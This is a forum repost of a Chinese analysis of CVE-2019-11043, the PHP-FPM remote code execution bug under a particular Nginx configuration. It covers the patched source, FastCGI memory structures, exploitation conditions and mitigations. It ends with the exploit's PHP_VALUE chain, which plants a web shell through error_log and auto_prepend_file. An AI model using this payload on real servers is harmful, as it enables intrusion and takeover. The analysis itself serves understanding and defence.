搜索

[28290] 2020-05-09_CVE-2019-11043：Nginx特定配置下的PHP-FPM的任何代码执行漏洞分析

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-05-09_CVE-2019-11043：Nginx特定配置下的PHP-FPM的任何代码执行漏洞分析 C V E - 2 0 1 9 - 1 1 0 4 3 ： N g i n x 特 定 配 置 下 的 P H P - F P M 的 任 何 代 码 执 行 漏 洞 分 析 原 创   青 春   O t s 安 全   2 0 2 0 - 0 5 - 0 9 最 近 ， 国 外 安 全 研 究 人 员 A n d r e w   D a n a u 偶 然 发 现 了 在 举 旗 竞 赛 期 间 p h p - f p m 组 件 处 理 特 定 请 求 的 错 误 （ C T F ： 捕 获 标 志 ） ： 特 定 的 构 造 请 求 可 能 导 致 p h p - f p m 处 理 N g i n x   +   P H P 产 品 组 合 在 W e b 应 用 程 序 开 发 中 占 有 很 高 的 市 场 份 额 ， 因 此 该 漏 洞 具 有 广 泛 的 应 用 范 围 。 影 响 范 围 。 漏 洞 概 述 P H P - F P M 在 特 定 的 N g i n x 配 置 中 具 有 任 意 代 码 执 行 漏 洞 。 特 别 是 ： 使 用 N g i n x   +   P H P - F P M 构 建 的 服 务 器 使 用 n g i n x . c o n f 类 似 于 以 下 配 置 ： N g i n x 中 的 f a s t c g i _ s p l i t _ p a t h _ i n f o 将 在 处 理 存 在 '   n ' （ ％ o A ） 的 p a t h _ i n f o 时 将 传 递 给 P H P - F P M 的 P A T H _ I N F O 保 留 为 空 （ P A T H _ I N F O   = “ ） ， 影 响 键 指 针 的 方 向 ， 从 而 导 致 后 续 p a t h _ i n f o   [ 0 ] 的 受 控 零 位 置 =   0 操 作 。 通 过 构 造 对 特 定 长 度 和 内 容 的 请 求 ， 您 可 以 覆 盖 特 定 位 置 数 据 ， 插 入 特 定 环 境 变 量 并 导 致 g e n e r a t i o n s C o d e 执 行 。 漏 洞 分 析 首 先 ， 分 析 其 补 丁 ： 在 初 始 化 r e q u e s t _ i n f o 结 构 的 静 态 v o i d   i n i t _ r e q u e s t _ i n f o （ v o i d ） 函 数 中 ， 将 大 小 检 查 添 加 到 堆 积 的 对 象 和 对 象 的 s l e n 中 ， 以 避 免 意 外 的 指 针 回 溯 。 1       l o c a t i o n   ~   [ ^ / ] . p h p ( / | $ )   { 2                 f a s t c g i _ s p l i t _ p a t h _ i n f o   ^ ( . + ? . p h p ) ( / . * ) $ ; 3                 f a s t c g i _ p a r a m   P A T H _ I N F O               $ f a s t c g i _ p a t h _ i n f o ; 4                 f a s t c g i _ p a s s       p h p : 9 0 0 0 ; 5                 . . .   1         / /   p h p - s r c / s a p i / f p m / f p m / f p m _ m a i n . c   2         . . .   3         i f   ( p t )   {   4                 w h i l e   ( ( p t r   =   s t r r c h r ( p t ,   ' / ' ) )   | |   ( p t r   =   s t r r c h r ( p t ,   ' ' ) ) )   {   5                         / /   C h e c k   t h e   i n c o m i n g   P A T H _ I N F O . G e t   t r u e   P A T H _ I N F O   b y   j u d g i n g   f i l e   s t a t u s   6                         * p t r   =   0 ;   7                         f   ( s t a t ( p t ,   & s t )   = =   0   & &   S _ I S R E G ( s t . s t _ m o d e ) )   {   8                         i n t   p t l e n   =   s t r l e n ( p t ) ;   #   P a t h - t r a n s l a t e d   C O N T E N T _ L E N G T H   9                         i n t   s l e n   =   l e n   -   p t l e n ;     / / s c r i p t   l e n g t h 1 0                         i n t   p i l e n   =   e n v _ p a t h _ i n f o   ?   s t r l e n ( e n v _ p a t h _ i n f o )   :   0 ;     / / P a t h   i n f o   l e n g t h   0 1 1                         i n t   t f l a g   =   0 ; 1 2                         c h a r   * p a t h _ i n f o ; 1 3 1 4                         i f   ( a p a c h e _ w a s _ h e r e )   { 1 5                                 / *   r e c a l l   t h a t   P A T H _ I N F O   w o n ' t   e x i s t   * / 1 6                                 p a t h _ i n f o   =   s c r i p t _ p a t h _ t r a n s l a t e d   +   p t l e n ; 1 7                                 t f l a g   =   ( s l e n   ! =   0   & &   ( ! o r i g _ p a t h _ i n f o   | |   s t r c m p ( o r i g _ p a t h _ i n f o ,   p a t h _ i n f o )   ! =   0 ) ) ; 1 8                         }   e l s e   {
其 中 1 9                 -               p a t h _ i n f o   =   e n v _ p a t h _ i n f o   ?   e n v _ p a t h _ i n f o   +   p i l e n   -   s l e n   :   N U L L ;   / /   N e w   e n v _ p a t h _ i n f o   i s   s e t   b y   o f f s e t ,   b u t   o f f s e t   i s   n o t   c h e c k e d 2 0                 -               t f l a g   =   ( o r i g _ p a t h _ i n f o   ! =   p a t h _ i n f o ) ; 2 1                 +               p a t h _ i n f o   =   ( e n v _ p a t h _ i n f o   & &   p i l e n   >   s l e n )   ?   e n v _ p a t h _ i n f o   +   p i l e n   -   s l e n   :   N U L L ; 2 2                 +               t f l a g   =   p a t h _ i n f o   & &   ( o r i g _ p a t h _ i n f o   ! =   p a t h _ i n f o ) ; 2 3                         } 2 4 2 5                         i f   ( t f l a g )   { 2 6                                 i f   ( o r i g _ p a t h _ i n f o )   { 2 7                                 c h a r   o l d ; 2 8 2 9                                 F C G I _ P U T E N V ( r e q u e s t ,   " O R I G _ P A T H _ I N F O " ,   o r i g _ p a t h _ i n f o ) ; 3 0                                 o l d   =   p a t h _ i n f o [ 0 ] ; 3 1                                 p a t h _ i n f o [ 0 ]   =   0 ;   / / Z e r o   O p e r a t i o n 3 2                                 i f   ( ! o r i g _ s c r i p t _ n a m e   | | 3 3                                         s t r c m p ( o r i g _ s c r i p t _ n a m e ,   e n v _ p a t h _ i n f o )   ! =   0 )   { 3 4                                         i f   ( o r i g _ s c r i p t _ n a m e )   { 3 5                                                 F C G I _ P U T E N V ( r e q u e s t ,   " O R I G _ S C R I P T _ N A M E " ,   o r i g _ s c r i p t _ n a m e ) ; / / T r i g g e r   E n t r y 3 6                                         } 3 7                                         S G ( r e q u e s t _ i n f o ) . r e q u e s t _ u r i   =   F C G I _ P U T E N V ( r e q u e s t ,   " S C R I P T _ N A M E " ,   e n v _ p a t h _ i n f o ) ; 3 8                                         }   e l s e   { 3 9                                         S G ( r e q u e s t _ i n f o ) . r e q u e s t _ u r i   =   o r i g _ s c r i p t _ n a m e ; 4 0                                         } 4 1                                         p a t h _ i n f o [ 0 ]   =   o l d ; 4 2                                 } 4 3                 . . .
可 见 ， 当 P A T H _ I N F O 为 空 时 ， p a t h _ i n f o 指 向 长 度 测 试 的 前 向 偏 移 量 。 然 后 p a t h _ i n f o   [ 0 ]   =   0 ;   您 可 以 在 特 定 位 置 将 单 个 字 节 清 零 。 但 是 ， 零 的 公 共 位 置 不 会 导 致 R C E ， 进 一 步 的 使 用 要 求 特 定 的 控 制 位 置 为 零 ， 这 恰 好 控 制 着 写 入 位 置 。 这 是 r e q u e s t - >   e n v -   >   d a t a - >   p o s 位 于 。 这 里 您 需 要 解 释 每 个 变 量 的 存 储 方 式 。 通 过 f a s t c g i 协 议 传 递 的 每 个 环 境 变 量 都 存 储 在 f c g i _ r e q u e s t - >   e n v 结 构 中 ， 该 结 构 定 义 如 下 ： T a k e   h t t p : / / l o c a l h o s t / i n f o . p h p / t e s t ? a = b   f o r   e x a m p l e   2         P A T H _ I N F O = / t e s t   3         P A T H _ T R A N S L A T E D = / d o c r o o t / i n f o . p h p / t e s t   4         S C R I P T _ N A M E = / i n f o . p h p   5         R E Q U E S T _ U R I = / i n f o . p h p / t e s t ? a = b   6         S C R I P T _ F I L E N A M E = / d o c r o o t / i n f o . p h p   7         Q U E R Y _ S T R I N G = a = b   8   9         p t   =   s c r i p t _ p a t h _ t r a n s l a t e d ;   / /   =   e n v _ s c r i p t _ f i l e n a m e   = >   " / d o c r o o t / i n f o . p h p / t e s t " 1 0         l e n   =   s c r i p t _ p a t h _ t r a n s l a t e d _ l e n     / /   F o r ' / d o c r o o t / i n f o . p h p / t e s t ' 1 1 1 2         / /   A f t e r   r e c a l c u l a t i o n 1 3         i n t   p t l e n   =   s t r l e n ( p t ) ;   / /   s t r l e n ( " / d o c r o o t / i n f o . p h p " ) 1 4         i n t   p i l e n   =   e n v _ p a t h _ i n f o   ?   s t r l e n ( e n v _ p a t h _ i n f o )   :   0 ;     / /   T h a t   i s   l e n ( P A T H _ I N F O )   " / t e s t " 1 5         i n t   s l e n   =   l e n   -   p t l e n ;       / /   l e n ( " / t e s t " ) 1 6 1 7         p a t h _ i n f o   =   e n v _ p a t h _ i n f o   +   p i l e n   -   s l e n ;   / /   T h e   p i l e n   v a l u e   m a y   n o t   b e   0   o r   s l e n ,   t h a t   i s ,   o f f s e t   t o   0   o r   -   1         / /   p h p - s r c / s a p i / f p m / f p m / f a s t c g i . c   2         t y p e d e f   s t r u c t   _ f c g i _ h a s h _ b u c k e t   {   3                 u n s i g n e d   i n t                             h a s h _ v a l u e ;   4                 u n s i g n e d   i n t                             v a r _ l e n ;   5                 c h a r                                           * v a r ;   6                 u n s i g n e d   i n t                             v a l _ l e n ;   7                 c h a r                                           * v a l ;   8                 s t r u c t   _ f c g i _ h a s h _ b u c k e t   * n e x t ;   9                 s t r u c t   _ f c g i _ h a s h _ b u c k e t   * l i s t _ n e x t ; 1 0         }   f c g i _ h a s h _ b u c k e t ; 1 1 1 2         t y p e d e f   s t r u c t   _ f c g i _ h a s h _ b u c k e t s   { 1 3                 u n s i g n e d   i n t                               i d x ; 1 4                 s t r u c t   _ f c g i _ h a s h _ b u c k e t s   * n e x t ; 1 5                 s t r u c t   _ f c g i _ h a s h _ b u c k e t       d a t a [ F C G I _ H A S H _ T A B L E _ S I Z E ] ; 1 6         }   f c g i _ h a s h _ b u c k e t s ;
其 中 ， 我 们 专 注 于 g e t   /   s e t 操 作 ， 其 实 现 方 式 如 下 ： 1 7 1 8         t y p e d e f   s t r u c t   _ f c g i _ d a t a _ s e g   { 1 9                 c h a r                                     * p o s ; 2 0                 c h a r                                     * e n d ; 2 1                 s t r u c t   _ f c g i _ d a t a _ s e g   * n e x t ; 2 2                 c h a r                                       d a t a [ 1 ] ; 2 3         }   f c g i _ d a t a _ s e g ; 2 4 2 5         t y p e d e f   s t r u c t   _ f c g i _ h a s h   { 2 6                 f c g i _ h a s h _ b u c k e t     * h a s h _ t a b l e [ F C G I _ H A S H _ T A B L E _ S I Z E ] ; 2 7                 f c g i _ h a s h _ b u c k e t     * l i s t ; 2 8                 f c g i _ h a s h _ b u c k e t s   * b u c k e t s ; 2 9                 f c g i _ d a t a _ s e g           * d a t a ; 3 0         }   f c g i _ h a s h ; 3 1         . . . 3 2         / *   h a s h   t a b l e   * / 3 3         / / I n i t i a l i z a t i o n   o p e r a t i o n 3 4         s t a t i c   v o i d   f c g i _ h a s h _ i n i t ( f c g i _ h a s h   * h ) 3 5         { 3 6                 m e m s e t ( h - > h a s h _ t a b l e ,   0 ,   s i z e o f ( h - > h a s h _ t a b l e ) ) ; 3 7                 h - > l i s t   =   N U L L ; 3 8                 h - > b u c k e t s   =   ( f c g i _ h a s h _ b u c k e t s * ) m a l l o c ( s i z e o f ( f c g i _ h a s h _ b u c k e t s ) ) ; 3 9                 h - > b u c k e t s - > i d x   =   0 ; 4 0                 h - > b u c k e t s - > n e x t   =   N U L L ; 4 1                 h - > d a t a   =   ( f c g i _ d a t a _ s e g * ) m a l l o c ( s i z e o f ( f c g i _ d a t a _ s e g )   -   1   +   F C G I _ H A S H _ S E G _ S I Z E ) ;   / /   D e f a u l t   a l l o c a t i o n   ( 4 * 8   -   1 )   +   4 0 9 6 4 2                 h - > d a t a - > p o s   =   h - > d a t a - > d a t a ;   / / P o i n t   t o   t h e   i n i t i a l   w r i t e   l o c a t i o n   o f   t h e   e n v i r o n m e n t   v a r i a b l e 4 3                 h - > d a t a - > e n d   =   h - > d a t a - > p o s   +   F C G I _ H A S H _ S E G _ S I Z E ;   p o i n t / / E n d   o f   d a t a _ s e g 4 4                 h - > d a t a - > n e x t   =   N U L L ; 4 5         } 4 6         . . .   1         s t a t i c   c h a r   * f c g i _ h a s h _ g e t ( f c g i _ h a s h   * h ,   u n s i g n e d   i n t   h a s h _ v a l u e ,   c h a r   * v a r ,   u n s i g n e d   i n t   v a r _ l e n ,   u n s i g n e d   i n t   * v a l _ l e n )   2         / /   A s s o c i a t e d   F C G I _ G E T E N V ( )   3         {   4                 u n s i g n e d   i n t             i d x   =   h a s h _ v a l u e   &   F C G I _ H A S H _ T A B L E _ M A S K ;   5                 f c g i _ h a s h _ b u c k e t   * p   =   h - > h a s h _ t a b l e [ i d x ] ;   6   7                 w h i l e   ( p   ! =   N U L L )   {
  8                 / / R e q u i r e   s a m e   h a s t _ v a l u e ,   s a m e   v a r _ l e n   t o   f e t c h   v a l u e   9                         i f   ( p - > h a s h _ v a l u e   = =   h a s h _ v a l u e   & & 1 0                                 p - > v a r _ l e n   = =   v a r _ l e n   & & 1 1                                 m e m c m p ( p - > v a r ,   v a r ,   v a r _ l e n )   = =   0 )   { 1 2                                 * v a l _ l e n   =   p - > v a l _ l e n ; 1 3                                 r e t u r n   p - > v a l ; 1 4                         } 1 5                         p   =   p - > n e x t ; 1 6                 } 1 7                 r e t u r n   N U L L ; 1 8         } 1 9 2 0         s t a t i c   c h a r *   f c g i _ h a s h _ s e t ( f c g i _ h a s h   * h ,   u n s i g n e d   i n t   h a s h _ v a l u e ,   c h a r   * v a r ,   u n s i g n e d   i n t   v a r _ l e n ,   c h a r   * v a l ,   u n s i g n e d   i n t   v a l _ l e n ) 2 1         / /   A s s o c i a t e d   F C G I _ P U T E N V ( ) 2 2         { 2 3                 u n s i g n e d   i n t             i d x   =   h a s h _ v a l u e   &   F C G I _ H A S H _ T A B L E _ M A S K ;     / /   C a l c u l a t e   h a s h _ v a l u e   t o   d e t e r m i n e   i n d e x 2 4                 f c g i _ h a s h _ b u c k e t   * p   =   h - > h a s h _ t a b l e [ i d x ] ;     / / G e t   t h e   c o r r e s p o n d i n g   v a l u e   i n   t h e   o r i g i n a l   h a s h _ t a b l e 2 5 2 6                 w h i l e   ( U N E X P E C T E D ( p   ! =   N U L L ) )   { 2 7                         i f   ( U N E X P E C T E D ( p - > h a s h _ v a l u e   = =   h a s h _ v a l u e )   & & 2 8                                 p - > v a r _ l e n   = =   v a r _ l e n   & & 2 9                                 m e m c m p ( p - > v a r ,   v a r ,   v a r _ l e n )   = =   0 )   { 3 0 3 1                                 p - > v a l _ l e n   =   v a l _ l e n ; 3 2                                 p - > v a l   =   f c g i _ h a s h _ s t r n d u p ( h ,   v a l ,   v a l _ l e n ) ; 3 3                                 r e t u r n   p - > v a l ; 3 4                         } 3 5                         p   =   p - > n e x t ; 3 6                 } 3 7 3 8                 i f   ( U N E X P E C T E D ( h - > b u c k e t s - > i d x   > =   F C G I _ H A S H _ T A B L E _ S I Z E ) )   { 3 9                         f c g i _ h a s h _ b u c k e t s   * b   =   ( f c g i _ h a s h _ b u c k e t s * ) m a l l o c ( s i z e o f ( f c g i _ h a s h _ b u c k e t s ) ) ; 4 0                         b - > i d x   =   0 ; 4 1                         b - > n e x t   =   h - > b u c k e t s ; 4 2                         h - > b u c k e t s   =   b ; 4 3                 } 4 4 4 5                 p   =   h - > b u c k e t s - > d a t a   +   h - > b u c k e t s - > i d x ; 4 6                 h - > b u c k e t s - > i d x + + ;
由 此 ， 我 们 可 以 得 出 结 论 ， r e q u e s t - >   e n v - >   d a t a - >   p o s 的 方 向 直 接 影 响 我 们 的 环 境 变 量 K e y （ 在 其 中 写 入 V a l u e ） ， 并 且 只 要 我 们 控 制 c h a r   *   p o s 的 方 向 ， 我 们 可 能 会 覆 盖 现 有 的 数 据 。 但 是 ， 要 实 现 R C E ， 存 在 以 下 要 求 和 限 制 ： 4 6                 h - > b u c k e t s - > i d x + + ; 4 7                 p - > n e x t   =   h - > h a s h _ t a b l e [ i d x ] ; 4 8                 h - > h a s h _ t a b l e [ i d x ]   =   p ; 4 9                 p - > l i s t _ n e x t   =   h - > l i s t ; 5 0                 h - > l i s t   =   p ; 5 1 5 2                 p - > h a s h _ v a l u e   =   h a s h _ v a l u e ; 5 3                 p - > v a r _ l e n   =   v a r _ l e n ; 5 4                 p - > v a r   =   f c g i _ h a s h _ s t r n d u p ( h ,   v a r ,   v a r _ l e n ) ; 5 5                 p - > v a l _ l e n   =   v a l _ l e n ; 5 6                 p - > v a l   =   f c g i _ h a s h _ s t r n d u p ( h ,   v a l ,   v a l _ l e n ) ; 5 7                 r e t u r n   p - > v a l ; 5 8         } 5 9 6 0         s t a t i c   i n l i n e   c h a r *   f c g i _ h a s h _ s t r n d u p ( f c g i _ h a s h   * h ,   c h a r   * s t r ,   u n s i g n e d   i n t   s t r _ l e n ) 6 1         / /   A c t u a l   o p e r a t i o n   r e q u e s t - > e n v - > d a t a   t o   w r i t e   d a t a . 6 2         { 6 3                 c h a r   * r e t ; 6 4 6 5                 i f   ( U N E X P E C T E D ( h - > d a t a - > p o s   +   s t r _ l e n   +   1   > =   h - > d a t a - > e n d ) )   { 6 6                 / / I n s e r t   a   n e w   f c g i _ h a s h _ s e g   f o r w a r d   i f   t h e   l e n g t h   o f   t h e   d a t a   y o u   a r e   a b o u t   t o   w r i t e   i s   g r e a t e r   t h a n   t h e   s i z e   o f   t h e   f c g i _ h a s h _ s e g   y o u   a r e   c u r r e n t l y   p o i n t i n g   t o 6 7                                 u n s i g n e d   i n t   s e g _ s i z e   =   ( s t r _ l e n   +   1   >   F C G I _ H A S H _ S E G _ S I Z E )   ?   s t r _ l e n   +   1   :   F C G I _ H A S H _ S E G _ S I Z E ; / / L o n g   v a l u e ,   n o t   w r i t t e n   a c r o s s   t w o   s e g   s . 6 8                                 f c g i _ d a t a _ s e g   * p   =   ( f c g i _ d a t a _ s e g * ) m a l l o c ( s i z e o f ( f c g i _ d a t a _ s e g )   -   1   +   s e g _ s i z e ) ; 6 9                                 p - > p o s   =   p - > d a t a ; 7 0                                 p - > e n d   =   p - > p o s   +   s e g _ s i z e ; 7 1                                 p - > n e x t   =   h - > d a t a ; 7 2                                 h - > d a t a   =   p ; 7 3                         } 7 4 7 5                         r e t   =   h - > d a t a - > p o s ; 7 6                         m e m c p y ( r e t ,   s t r ,   s t r _ l e n ) ;   / / W r i t e   d a t a   a f t e r   h - > d a t a - > p o s 7 7                         r e t [ s t r _ l e n ]   =   0 ; 7 8                         h - > d a t a - > p o s   + =   s t r _ l e n   +   1 ;   / / M o v e   b a c k   h - > d a t a - > p o s   t o   a   n e w   w r i t a b l e   l o c a t i o n 7 9                         r e t u r n   r e t ; 8 0         }
1 .   指 针 向 前 受 当 前 f c g i _ h a s h _ s e g 空 间 结 构 的 影 响 。 太 短 的 c h a r   *   p o s 不 能 为 零 ， 并 且 太 长 的 c h a r   *   p o s 被 分 配 给 新 的 f c g i _ h a s h _ s e g 空 间 。 （ 传 递 “ l i k e ”   h t t p : / / 1 2 7 . 0 . 0 . 1 / S o m e f i l e _ e x i t s / A A A A A . p h p / 也 会 导 致 指 向 向 后 移 动 ） 2 .   p a t h _ i n f o   [ 0 ]   =   0 只 能 将 单 个 字 节 （ 最 好 是 最 低 位 ） 清 零 ， 否 则 将 导 致 过 多 的 指 针 位 置 偏 移 。 3 .   鉴 于 条 件 2 应 该 以 最 小 的 0 位 覆 盖 ， 然 后 是 合 格 的 可 覆 盖 环 境 变 量 。 4 .   覆 盖 的 位 置 环 境 变 量 的 键 必 须 与 预 期 要 写 入 的 键 相 同 ： 要 读 取 的 v a r ， h a s h _ v a l u e 和 v a r _ l e n 。 5 .   当 执 行 F C G I _ P U T E N V （ 请 求 ， ' O R I G _ P A T H _ I N F O ' ， o r i g _ p a t h _ i n f o ） 时 ， 分 别 写 入 O R I G _ S C R I P T _ N A M E ， o r i g _ s c r i p t _ n a m e （ O R I G _ S C R I P T _ N A M E   /   i n d e x . p h p   /   P H P _ V A L U E     n A A A A A A ） 。 因 此 ， 我 们 可 以 ： 1 .   通 过 控 制 q u e r y _ s t r i n g 的 长 度 ， p a t h _ i n f o 恰 好 位 于 新 f c g i _ h a s h _ s e g 的 数 据 中 ， 此 时 我 们 只 需 要 移 动 8   +   8   +   8   +   l e n （ “   P A T H _ I N F O     0 ” ） +   N   = 3 4   +   N 以 完 成 对 c h a r   *   p o s 的 篡 改 ， 满 足 条 件 1 , 2 的 要 求 。 2 .   通 过 自 定 义 h t t p 标 头 ， 操 纵 请 求 标 头 的 长 度 可 将 环 境 变 量 的 预 期 替 代 放 置 在 特 定 位 置 （ 0 x _ u _ 0 0   +   l e n （ “   O R I G _ S C R I P T _ N A M E ” ） +   l e n （ “ / i n d e x . p h p / ” ） 。 要 求 3 , 5 为 （ 在 N G I N X 中 ， H T T P 中 的 请 求 标 头 以 “   H T T P _ X X X ” 的 形 式 传 递 到 P H P - F P M 中 ， 然 后 写 入 到 r e q u e s t - e n v 中 ） 3 .   E x p 作 者 提 供 了 E B U T ， 这 是 一 个 自 定 义 标 头 ， 其 环 境 变 量 名 称 H T T P _ E B U T 的 长 度 和 h a s h _ v a l u e 等 于 P H P _ V A L U E ， 在 后 续 处 理 中 将 尝 试 读 取 P H P _ V A L U E （ i n i   =   F C G I _ G E T E N V （ 请 求 ， ' P H P _ V A L U E ' ） ； 条 件 4 下 的 要 求 是 遇 见 。 另 外 ， 鉴 于 逻 辑 的 P A T H _ I N F O 重 估 部 分 主 要 处 理 P A T H _ I N F O 与 实 际 p a t h _ i n f o 不 同 的 情 况 ， 因 此 开 头 提 到 的 n g i n x 配 置 项 在 某 些 情 况 下 会 出 现
U R L ， 例 如 h t t p ： / /   l o c a l h o s t   /   i n d e x   /   i n f o 。 可 以 启 动 p h p   /   t e s t ？ a   =   b 来 构 建 以 下 场 景 此 时 ， 也 可 以 在 U R L 中 不 存 在 ％ 0 A 的 情 况 下 完 成 指 针 移 动 。 漏 洞 过 程 与 上 述 过 程 类 似 ， 但 是 由 于 s c r i p t _ n a m e 无 效 ， 因 此 无 法 可 视 化 攻 击 状 态 ， 因 此 很 难 利 用 它 。 p a t h _ i n f o 指 向 r e q u e s t - >   e n v - >   d a t a - >   p o s 之 后 的 内 存 布 局   1         / / F o r   e x a m p l e ,   w i t h   h t t p : / / l o c a l h o s t / i n d e x / i n f o . p h p / t e s t ? a = b ,   i n d e x   i s   a n   e x i s t i n g   f i l e   2         P A T H _ I N F O = / t e s t   3         P A T H _ T R A N S L A T E D = / d o c r o o t / i n d e x / i n f o . p h p / t e s t   4         S C R I P T _ N A M E = / i n d e x / i n f o . p h p   5         R E Q U E S T _ U R I = / i n d e x / i n f o . p h p / t e s t ? a = b   6         S C R I P T _ F I L E N A M E = / d o c r o o t / i n d e x / i n f o . p h p   7         Q U E R Y _ S T R I N G = a = b   8   9         p t   =   s c r i p t _ p a t h _ t r a n s l a t e d ;   / /   =   e n v _ s c r i p t _ f i l e n a m e   = >   " / d o c r o o t / i n d e x / i n f o . p h p / t e s t " 1 0         l e n   =   s c r i p t _ p a t h _ t r a n s l a t e d _ l e n     / /   F o r ' / d o c r o o t / i n d e x / i n f o . p h p / t e s t ' 1 1 1 2         / /   A f t e r   r e c a l c u l a t i o n 1 3         i n t   p t l e n   =   s t r l e n ( p t ) ;   / /   s t r l e n ( " / d o c r o o t / i n d e x " ) 1 4         i n t   p i l e n   =   e n v _ p a t h _ i n f o   ?   s t r l e n ( e n v _ p a t h _ i n f o )   :   0 ;     / /   T h a t   i s   l e n ( P A T H _ I N F O )   " / t e s t " 1 5         i n t   s l e n   =   l e n   -   p t l e n ;       / /   l e n ( " / i n f o . p h p / t e s t   " ) 1 6 1 7         p a t h _ i n f o   =   e n v _ p a t h _ i n f o   +   p i l e n   -   s l e n ;     / /   P i l e n   <   s l e n ,   t h a t   i s ,   o f f s e t   t o   - N
漏 洞 利 用 E x p 作 者 使 用 P H P _ V A L U E 将 多 个 环 境 变 量 传 递 给 P H P ， 从 而 导 致 P H P 产 生 错 误 ， 将 W e b   S h e l l 作 为 错 误 日 志 输 出 到 /   t m p   /   a ， 并 通 过 a u t o _ p r e p e n d _ f i l e 在 /   t m p   /   a 中 自 动 执 行 恶 意 代 码 以 实 现 g e t s h e l l 。
影 响 范 围 使 用 前 面 提 到 的 配 置 ， 此 漏 洞 影 响 以 下 版 本 的 P H P ： 7 . 1 . x   < 7 . 1 . 3 3   7 . 2 . x   < 7 . 2 . 2 4   7 . 3 . x   < 7 . 3 . 1 1 错 误 修 复 可 以 通 过 向 N g i n x 添 加 配 置 t r y _ f i l e s ％ u r i   =   4 0 4 p h p 来 设 置 c g i . f i x _ p a t h i n f o   =   0 选 项 ， 以 暂 时 避 免 漏 洞 影 响 。 您 还 可 以 选 择 使 用 正 式 发 布 的 更 新 进 行 全 面 修 复 。   1         v a r   c h a i n   =   [ ] s t r i n g {   2                 " s h o r t _ o p e n _ t a g = 1 " ,   / / O p e n   s h o r t   p h p   t a b   3                 " h t m l _ e r r o r s = 0 " ,       / /   T u r n   o f f   t h e   H T M L   t a g   i n   t h e   e r r o r   m e s s a g e .   4                 " i n c l u d e _ p a t h = / t m p " ,     / / I n c l u d e   P a t h   5                 " a u t o _ p r e p e n d _ f i l e = a " ,     / / S p e c i f i e s   t h e   f i l e s   t h a t   a r e   a u t o m a t i c a l l y   i n c l u d e d   b e f o r e   t h e   s c r i p t   e x e c u t e s ,   s i m i l a r   t o   r e q u i r e ( ) .   6                 " l o g _ e r r o r s = 1 " ,     / / E n a b l e   e r r o r   l o g   7                 " e r r o r _ r e p o r t i n g = 2 " ,       / / S p e c i f y   e r r o r   l e v e l   8                 " e r r o r _ l o g = / t m p / a " ,     / / E r r o r   L o g g i n g   F i l e   9                 " e x t e n s i o n _ d i r = " < ? = ` " " ,       / / S p e c i f y   t h e   l o a d   d i r e c t o r y   f o r   t h e   e x t e n s i o n 1 0                 " e x t e n s i o n = " $ _ G E T [ a ] ` ? > " " ,   / / S p e c i f y   t h e   e x t e n s i o n   t o   l o a d 1 1         }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理